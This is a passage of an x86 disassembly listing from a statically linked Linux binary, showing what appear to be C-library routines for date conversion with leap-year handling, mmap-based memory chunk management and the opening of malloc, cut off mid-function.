		mov	eax, [ecx+0Ch]
		sub	eax, [edx+0Ch]
		jnz	short loc_805B615
		mov	eax, [ecx+8]
		sub	eax, [edx+8]
		jnz	short loc_805B615
		mov	eax, [ecx+4]
		sub	eax, [edx+4]
		jnz	short loc_805B615
		mov	eax, [ecx]
		sub	eax, [edx]

loc_805B615:				; CODE XREF: sub_805B5E0+Fj
					; sub_805B5E0+17j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_805B5E0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805B61C	proc near		; CODE XREF: sub_805B914+26p
					; sub_805B914+DBp

var_7C		= byte ptr -7Ch
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 70h
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_C]
		mov	dword ptr [ecx], 0
		lea	edi, [ebp+var_2C]
		mov	esi, [ebp+arg_0]
		cld
		mov	ecx, 0Bh
		repe movsd
		cmp	[ebp+var_2C], 3Dh
		jbe	short loc_805B654
		push	3Ch
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_805B584
		add	esp, 0Ch

loc_805B654:				; CODE XREF: sub_805B61C+24j
		push	3Ch
		lea	eax, [ebp+var_28]
		push	eax
		lea	ebx, [ebp+var_24]
		push	ebx
		call	sub_805B584
		push	18h
		push	ebx
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_805B584
		push	0Ch
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_805B584
		add	esp, 24h
		cmp	[ebp+var_20], 0
		jg	short loc_805B6FC
		nop

loc_805B688:				; CODE XREF: sub_805B61C+DDj
		dec	[ebp+var_18]
		xor	ebx, ebx
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_1C], 1
		jle	short loc_805B69B
		add	eax, 76Dh

loc_805B69B:				; CODE XREF: sub_805B61C+78j
		test	al, 3
		jnz	short loc_805B6C1
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_1C], 1
		jle	short loc_805B6B0
		add	eax, 76Dh
		jmp	short loc_805B6B5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805B6B0:				; CODE XREF: sub_805B61C+8Aj
		add	eax, 76Ch

loc_805B6B5:				; CODE XREF: sub_805B61C+91j
		mov	ecx, 64h
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_805B6E5

loc_805B6C1:				; CODE XREF: sub_805B61C+81j
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_1C], 1
		jle	short loc_805B6D4
		add	eax, 76Dh
		jmp	short loc_805B6D9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805B6D4:				; CODE XREF: sub_805B61C+ACj
		add	eax, 76Ch

loc_805B6D9:				; CODE XREF: sub_805B61C+B3j
		mov	ecx, 190h
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_805B6EA

loc_805B6E5:				; CODE XREF: sub_805B61C+A3j
		mov	ebx, 1

loc_805B6EA:				; CODE XREF: sub_805B61C+C7j
		mov	eax, [ebp+var_20]
		add	eax, ds:dword_8068F28[ebx*4]
		mov	[ebp+var_20], eax
		test	eax, eax
		jle	short loc_805B688
		nop

loc_805B6FC:				; CODE XREF: sub_805B61C+69j
					; sub_805B61C+13Fj ...
		xor	ebx, ebx
		mov	eax, [ebp+var_18]
		add	eax, 76Ch
		test	al, 3
		jnz	short loc_805B716
		mov	ecx, 64h
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_805B72A

loc_805B716:				; CODE XREF: sub_805B61C+ECj
		mov	eax, [ebp+var_18]
		add	eax, 76Ch
		mov	ecx, 190h
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_805B72F

loc_805B72A:				; CODE XREF: sub_805B61C+F8j
		mov	ebx, 1

loc_805B72F:				; CODE XREF: sub_805B61C+10Cj
		mov	eax, ebx
		add	eax, ebx
		add	eax, ebx
		shl	eax, 4
		mov	ecx, [ebp+var_1C]
		lea	edx, ds:0[ecx*4]
		mov	eax, dword ptr ds:unk_8068EC8[eax+edx]
		mov	[ebp+var_64], eax
		cmp	[ebp+var_20], eax
		jle	short loc_805B76C
		sub	[ebp+var_20], eax
		inc	[ebp+var_1C]
		cmp	[ebp+var_1C], 0Bh
		jle	short loc_805B6FC
		mov	[ebp+var_1C], 0
		inc	[ebp+var_18]
		jmp	short loc_805B6FC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805B76C:				; CODE XREF: sub_805B61C+133j
		mov	ecx, [ebp+var_2C]
		mov	[ebp+var_68], ecx
		mov	[ebp+var_2C], 0
		xor	ebx, ebx
		mov	[ebp+var_5C], 1
		lea	esi, [esi]

loc_805B784:				; CODE XREF: sub_805B61C+175j
		inc	ebx
		mov	ecx, [ebp+var_5C]
		mov	eax, ecx
		add	eax, ecx
		mov	[ebp+var_5C], eax
		test	eax, eax
		jg	short loc_805B784
		xor	edx, edx
		test	eax, eax
		jl	short loc_805B7A2
		mov	edx, 1
		mov	ecx, ebx
		shl	edx, cl

loc_805B7A2:				; CODE XREF: sub_805B61C+17Bj
		mov	[ebp+var_5C], edx
		lea	ecx, [ebp+var_58]
		mov	[ebp+var_6C], ecx
		nop

loc_805B7AC:				; CODE XREF: sub_805B61C+1C9j
					; sub_805B61C+1DCj ...
		mov	ecx, [ebp+var_6C]
		push	ecx
		mov	ecx, [ebp+arg_8]
		push	ecx
		lea	eax, [ebp+var_5C]
		push	eax
		mov	ecx, [ebp+arg_4]
		call	ecx
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_6C]
		push	ecx
		call	sub_805B5E0
		mov	edx, eax
		add	esp, 14h
		test	edx, edx
		jz	short loc_805B80C
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jl	loc_805B8DC
		test	ebx, ebx
		jge	short loc_805B7E8
		dec	[ebp+var_5C]
		jmp	short loc_805B7AC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805B7E8:				; CODE XREF: sub_805B61C+1C4j
		test	edx, edx
		jle	short loc_805B7FC
		mov	eax, 1
		mov	ecx, ebx
		shl	eax, cl
		sub	[ebp+var_5C], eax
		jmp	short loc_805B7AC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805B7FC:				; CODE XREF: sub_805B61C+1CEj
		mov	eax, 1
		mov	ecx, ebx
		shl	eax, cl
		add	[ebp+var_5C], eax
		jmp	short loc_805B7AC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805B80C:				; CODE XREF: sub_805B61C+1B5j
		cmp	[ebp+var_C], 0
		jl	loc_805B8E4
		mov	eax, [ebp+var_38]
		cmp	[ebp+var_C], eax
		jz	loc_805B8E4
		mov	ebx, offset unk_807C9F0
		cmp	[ebp+arg_4], offset sub_805B048
		jnz	short loc_805B835
		mov	ebx, offset dword_807B0E0

loc_805B835:				; CODE XREF: sub_805B61C+212j
		mov	[ebp+var_64], 0
		mov	ecx, [ebp+var_64]
		cmp	[ebx+8], ecx
		jle	loc_805B8DC
		mov	[ebp+var_70], 0
		nop

loc_805B850:				; CODE XREF: sub_805B61C+2BAj
		mov	ecx, [ebp+var_70]
		mov	eax, [ecx+ebx+750h]
		cmp	[ebp+var_C], eax
		jnz	short loc_805B8C9
		xor	edi, edi
		cmp	[ebx+8], edi
		jle	short loc_805B8C9
		xor	esi, esi

loc_805B868:				; CODE XREF: sub_805B61C+2ABj
		mov	eax, [esi+ebx+750h]
		cmp	[ebp+var_C], eax
		jz	short loc_805B8C0
		mov	eax, [ebp+var_5C]
		add	eax, [esi+ebx+74Ch]
		mov	ecx, [ebp+var_70]
		sub	eax, [ecx+ebx+74Ch]
		mov	[ebp+var_60], eax
		mov	ecx, [ebp+var_6C]
		push	ecx
		mov	ecx, [ebp+arg_8]
		push	ecx
		lea	eax, [ebp+var_60]
		push	eax
		mov	ecx, [ebp+arg_4]
		call	ecx
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_6C]
		push	ecx
		call	sub_805B5E0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_805B8C0
		mov	eax, [ebp+var_38]
		cmp	[ebp+var_C], eax
		jnz	short loc_805B8C0
		mov	eax, [ebp+var_60]
		mov	[ebp+var_5C], eax
		jmp	short loc_805B8E4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805B8C0:				; CODE XREF: sub_805B61C+256j
					; sub_805B61C+292j ...
		add	esi, 10h
		inc	edi
		cmp	[ebx+8], edi
		jg	short loc_805B868

loc_805B8C9:				; CODE XREF: sub_805B61C+241j
					; sub_805B61C+248j
		add	[ebp+var_70], 10h
		inc	[ebp+var_64]
		mov	ecx, [ebp+var_64]
		cmp	[ebx+8], ecx
		jg	loc_805B850

loc_805B8DC:				; CODE XREF: sub_805B61C+1BCj
					; sub_805B61C+226j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_805B907
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805B8E4:				; CODE XREF: sub_805B61C+1F4j
					; sub_805B61C+200j ...
		mov	ecx, [ebp+var_68]
		add	[ebp+var_5C], ecx
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+arg_8]
		push	ecx
		lea	eax, [ebp+var_5C]
		push	eax
		mov	ecx, [ebp+arg_4]
		call	ecx
		mov	ecx, [ebp+arg_C]
		mov	dword ptr [ecx], 1
		mov	eax, [ebp+var_5C]

loc_805B907:				; CODE XREF: sub_805B61C+2C5j
		lea	esp, [ebp+var_7C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805B61C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805B914	proc near		; CODE XREF: sub_805BA50+Ep
					; sub_805BA68+15p

var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		cmp	dword ptr [edi+20h], 1
		jle	short loc_805B92D
		mov	dword ptr [edi+20h], 1

loc_805B92D:				; CODE XREF: sub_805B914+10j
		lea	eax, [ebp+var_4]
		push	eax
		mov	edx, [ebp+arg_8]
		push	edx
		mov	edx, [ebp+arg_4]
		push	edx
		push	edi
		call	sub_805B61C
		add	esp, 10h
		cmp	[ebp+var_4], 0
		jnz	loc_805BA45
		cmp	dword ptr [edi+20h], 0
		jl	loc_805BA45
		mov	ebx, offset unk_807C9F0
		cmp	[ebp+arg_4], offset sub_805B048
		jnz	short loc_805B969
		mov	ebx, offset dword_807B0E0

loc_805B969:				; CODE XREF: sub_805B914+4Ej
		mov	[ebp+var_8], 0
		mov	edx, [ebp+var_8]
		cmp	[ebx+8], edx
		jle	loc_805BA40
		mov	[ebp+var_14], 0
		nop

loc_805B984:				; CODE XREF: sub_805B914+126j
		mov	edx, [ebp+var_14]
		mov	eax, [edx+ebx+750h]
		cmp	[edi+20h], eax
		jnz	loc_805BA2D
		mov	[ebp+var_C], 0
		mov	edx, [ebp+var_C]
		cmp	[ebx+8], edx
		jle	loc_805BA2D
		mov	edx, [ebp+var_14]
		mov	[ebp+var_10], edx
		xor	esi, esi
		lea	esi, [esi]

loc_805B9B4:				; CODE XREF: sub_805B914+117j
		mov	eax, [esi+ebx+750h]
		cmp	[edi+20h], eax
		jz	short loc_805BA1F
		mov	eax, [esi+ebx+74Ch]
		mov	edx, [ebp+var_10]
		sub	eax, [edx+ebx+74Ch]
		add	[edi], eax
		cmp	dword ptr [edi+20h], 0
		setz	al
		and	eax, 0FFh
		mov	[edi+20h], eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	edx, [ebp+arg_8]
		push	edx
		mov	edx, [ebp+arg_4]
		push	edx
		push	edi
		call	sub_805B61C
		add	esp, 10h
		cmp	[ebp+var_4], 0
		jnz	short loc_805BA45
		mov	eax, [esi+ebx+74Ch]
		mov	edx, [ebp+var_10]
		sub	eax, [edx+ebx+74Ch]
		sub	[edi], eax
		cmp	dword ptr [edi+20h], 0
		setz	al
		and	eax, 0FFh
		mov	[edi+20h], eax

loc_805BA1F:				; CODE XREF: sub_805B914+AAj
		add	esi, 10h
		inc	[ebp+var_C]
		mov	edx, [ebp+var_C]
		cmp	[ebx+8], edx
		jg	short loc_805B9B4

loc_805BA2D:				; CODE XREF: sub_805B914+7Dj
					; sub_805B914+90j
		add	[ebp+var_14], 10h
		inc	[ebp+var_8]
		mov	edx, [ebp+var_8]
		cmp	[ebx+8], edx
		jg	loc_805B984

loc_805BA40:				; CODE XREF: sub_805B914+62j
		mov	eax, 0FFFFFFFFh

loc_805BA45:				; CODE XREF: sub_805B914+32j
					; sub_805B914+3Cj ...
		lea	esp, [ebp+var_20]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805B914	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805BA50	proc near

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	0
		push	offset sub_805B048
		push	eax
		call	sub_805B914
		mov	esp, ebp
		pop	ebp
		retn
sub_805BA50	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805BA68	proc near

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+20h], 0
		push	0
		push	offset sub_805B144
		push	eax
		call	sub_805B914
		mov	esp, ebp
		pop	ebp
		retn
sub_805BA68	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805BA88	proc near		; CODE XREF: malloc+446p

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, 4
		mov	edx, 0FFFh
		mov	eax, dword_8078F80
		cmp	dword_8078F44, eax
		jbe	short loc_805BAC6
		add	ebx, esi
		add	ebx, edx
		mov	eax, edx
		not	eax
		and	ebx, eax
		push	0
		push	0FFFFFFFFh
		push	22h
		push	3
		push	ebx
		push	0
		call	mmap
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_805BACC

loc_805BAC6:				; CODE XREF: sub_805BA88+1Dj
		xor	eax, eax
		jmp	short loc_805BB28
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BACC:				; CODE XREF: sub_805BA88+3Cj
		inc	dword_8078F80
		mov	edx, dword_8078F80
		cmp	dword_8078F84, edx
		jnb	short loc_805BAE6
		mov	dword_8078F84, edx

loc_805BAE6:				; CODE XREF: sub_805BA88+56j
		lea	edx, [esi+eax]
		mov	[edx-4], esi
		mov	eax, ebx
		sub	eax, esi
		or	al, 2
		mov	[edx], eax
		mov	eax, ebx
		add	eax, dword_8078F88
		mov	dword_8078F88, eax
		cmp	dword_8078F8C, eax
		jnb	short loc_805BB0E
		mov	dword_8078F8C, eax

loc_805BB0E:				; CODE XREF: sub_805BA88+7Fj
		mov	eax, dword_8078F88
		add	eax, dword_8078F58
		cmp	dword_8078F54, eax
		jnb	short loc_805BB26
		mov	dword_8078F54, eax

loc_805BB26:				; CODE XREF: sub_805BA88+97j
		mov	eax, edx

loc_805BB28:				; CODE XREF: sub_805BA88+40j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_805BA88	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805BB34	proc near		; CODE XREF: free+1Fp sub_805C4F8+B2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	edx, [eax-4]
		mov	ebx, [eax]
		and	bl, 0FCh
		add	ebx, edx
		push	ebx
		sub	eax, edx
		push	eax
		call	munmap
		dec	dword_8078F80
		sub	dword_8078F88, ebx
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805BB34	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805BB64	proc near		; CODE XREF: sub_805C4F8+60p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	esi, [edx-4]
		mov	edi, [edx]
		and	edi, 0FFFFFFFCh
		mov	ebx, [ebp+arg_4]
		add	ebx, esi
		add	ebx, 0FFFh
		and	ebx, 0FFFFF000h
		push	1
		push	ebx
		lea	eax, [esi+edi]
		push	eax
		mov	eax, edx
		sub	eax, esi
		push	eax
		call	mremap
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_805BBA0
		xor	eax, eax
		jmp	short loc_805BBE8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BBA0:				; CODE XREF: sub_805BB64+36j
		lea	edx, [esi+eax]
		mov	eax, ebx
		sub	eax, esi
		or	al, 2
		mov	[edx], eax
		lea	eax, [esi+edi]
		sub	dword_8078F88, eax
		mov	eax, ebx
		add	eax, dword_8078F88
		mov	dword_8078F88, eax
		cmp	dword_8078F8C, eax
		jnb	short loc_805BBCE
		mov	dword_8078F8C, eax

loc_805BBCE:				; CODE XREF: sub_805BB64+63j
		mov	eax, dword_8078F88
		add	eax, dword_8078F58
		cmp	dword_8078F54, eax
		jnb	short loc_805BBE6
		mov	dword_8078F54, eax

loc_805BBE6:				; CODE XREF: sub_805BB64+7Bj
		mov	eax, edx

loc_805BBE8:				; CODE XREF: sub_805BB64+3Aj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805BB64	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805BBF4	proc near		; CODE XREF: malloc+45Cp

var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	esi
		push	ebx
		mov	edx, dword_8078B38
		mov	[ebp+var_4], edx
		mov	ecx, [edx]
		and	cl, 0FCh
		mov	[ebp+var_8], ecx
		mov	ebx, edx
		add	ebx, ecx
		mov	esi, [ebp+arg_0]
		add	esi, dword_8078F40
		add	esi, 10h
		cmp	dword_8078F4C, 0FFFFFFFFh
		jz	short loc_805BC33
		add	esi, 0FFFh
		and	esi, 0FFFFF000h

loc_805BC33:				; CODE XREF: sub_805BBF4+31j
		push	esi
		mov	eax, dword_8078B30
		call	eax ; sub_8065DE0
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	loc_805BD69
		cmp	edi, ebx
		jnb	short loc_805BC59
		cmp	[ebp+var_4], offset dword_8078B34
		jnz	loc_805BD69

loc_805BC59:				; CODE XREF: sub_805BBF4+56j
		add	dword_8078F58, esi
		cmp	edi, ebx
		jnz	short loc_805BC78
		add	esi, [ebp+var_8]
		mov	eax, dword_8078B38
		or	esi, 1
		mov	[eax], esi
		jmp	loc_805BD3F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BC78:				; CODE XREF: sub_805BBF4+6Dj
		cmp	dword_8078F4C, 0FFFFFFFFh
		jnz	short loc_805BC8C
		mov	dword_8078F4C, edi
		jmp	short loc_805BC96
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BC8C:				; CODE XREF: sub_805BBF4+8Bj
		mov	eax, edi
		sub	eax, ebx
		add	dword_8078F58, eax

loc_805BC96:				; CODE XREF: sub_805BBF4+93j
		lea	eax, [edi+4]
		and	eax, 7
		jz	short loc_805BCAC
		mov	ebx, 8
		sub	ebx, eax
		add	edi, ebx
		jmp	short loc_805BCAE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BCAC:				; CODE XREF: sub_805BBF4+A8j
		xor	ebx, ebx

loc_805BCAE:				; CODE XREF: sub_805BBF4+B3j
		lea	eax, [esi+edi]
		mov	edx, 1000h
		dec	edx
		and	eax, edx
		mov	ecx, 1000h
		sub	ecx, eax
		mov	eax, ecx
		add	ebx, eax
		push	ebx
		mov	eax, dword_8078B30
		call	eax ; sub_8065DE0
		add	esp, 4
		test	eax, eax
		jz	loc_805BD69
		add	dword_8078F58, ebx
		mov	dword_8078B38, edi
		mov	esi, eax
		sub	esi, edi
		add	esi, ebx
		or	esi, 1
		mov	[edi], esi
		cmp	[ebp+var_4], offset dword_8078B34
		jz	short loc_805BD3F
		mov	edx, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+edx-8], 5
		mov	dword ptr [ecx+edx-4], 5
		add	edx, 0FFFFFFF8h
		and	edx, 7
		mov	[ebp+var_8], edx
		mov	dword ptr [edx+ecx], 5
		mov	dword ptr [ecx+edx+4], 5
		mov	eax, [ecx]
		and	eax, 1
		or	eax, edx
		mov	[ecx], eax
		cmp	edx, 0Fh
		jbe	short loc_805BD3F
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	free

loc_805BD3F:				; CODE XREF: sub_805BBF4+7Cj
					; sub_805BBF4+101j ...
		mov	eax, dword_8078F58
		cmp	dword_8078F50, eax
		jnb	short loc_805BD51
		mov	dword_8078F50, eax

loc_805BD51:				; CODE XREF: sub_805BBF4+156j
		mov	eax, dword_8078F88
		add	eax, dword_8078F58
		cmp	dword_8078F54, eax
		jnb	short loc_805BD69
		mov	dword_8078F54, eax

loc_805BD69:				; CODE XREF: sub_805BBF4+4Ej
					; sub_805BBF4+5Fj ...
		lea	esp, [ebp+var_18]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805BBF4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

malloc		proc near		; CODE XREF: send_packet+2Cp
					; setenv+85p ...

var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, 0Bh
		jle	short loc_805BD94
		add	eax, 0Bh
		mov	[ebp+var_C], eax
		and	[ebp+var_C], 0FFFFFFF8h
		jmp	short loc_805BD9B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BD94:				; CODE XREF: malloc+Fj
		mov	[ebp+var_C], 10h

loc_805BD9B:				; CODE XREF: malloc+1Bj
		cmp	[ebp+var_C], 1F7h
		ja	short loc_805BE00
		mov	ecx, [ebp+var_C]
		shr	ecx, 3
		mov	[ebp+var_4], ecx
		mov	ebx, dword_8078B3C[ecx*8]
		lea	eax, ds:8078B34h[ecx*8]
		cmp	ebx, eax
		jnz	short loc_805BDD1
		mov	ebx, dword_8078B44[ecx*8]
		lea	eax, ds:8078B3Ch[ecx*8]
		cmp	ebx, eax
		jz	short loc_805BDF4

loc_805BDD1:				; CODE XREF: malloc+49j
		mov	edi, [ebx]
		and	edi, 0FFFFFFFCh
		mov	[ebp+var_14], edi
		mov	esi, [ebx+8]
		mov	ecx, [ebx+4]
		mov	[ebp+var_10], ecx
		mov	[ecx+8], esi
		mov	[esi+4], ecx
		or	byte ptr [edi+ebx], 1
		jmp	loc_805C281
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BDF4:				; CODE XREF: malloc+5Bj
		add	[ebp+var_4], 2
		jmp	loc_805BEE5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BE00:				; CODE XREF: malloc+2Ej
		mov	eax, [ebp+var_C]
		shr	eax, 9
		jnz	short loc_805BE18
		mov	edi, [ebp+var_C]
		shr	edi, 3
		mov	[ebp+var_4], edi
		jmp	loc_805BEAB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BE18:				; CODE XREF: malloc+92j
		mov	eax, [ebp+var_C]
		shr	eax, 9
		cmp	eax, 4
		ja	short loc_805BE34
		mov	ecx, [ebp+var_C]
		shr	ecx, 6
		add	ecx, 38h
		mov	[ebp+var_4], ecx
		jmp	short loc_805BEAB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BE34:				; CODE XREF: malloc+ADj
		mov	eax, [ebp+var_C]
		shr	eax, 9
		cmp	eax, 14h
		ja	short loc_805BE48
		add	eax, 5Bh
		mov	[ebp+var_4], eax
		jmp	short loc_805BEAB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805BE48:				; CODE XREF: malloc+C9j
		mov	eax, [ebp+var_C]
		shr	eax, 9
		cmp	eax, 54h
		ja	short loc_805BE64
		mov	edi, [ebp+var_C]
		shr	edi, 0Ch
		add	edi, 6Eh
		mov	[ebp+var_4], edi
		jmp	short loc_805BEAB
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805BE64:				; CODE XREF: malloc+DDj
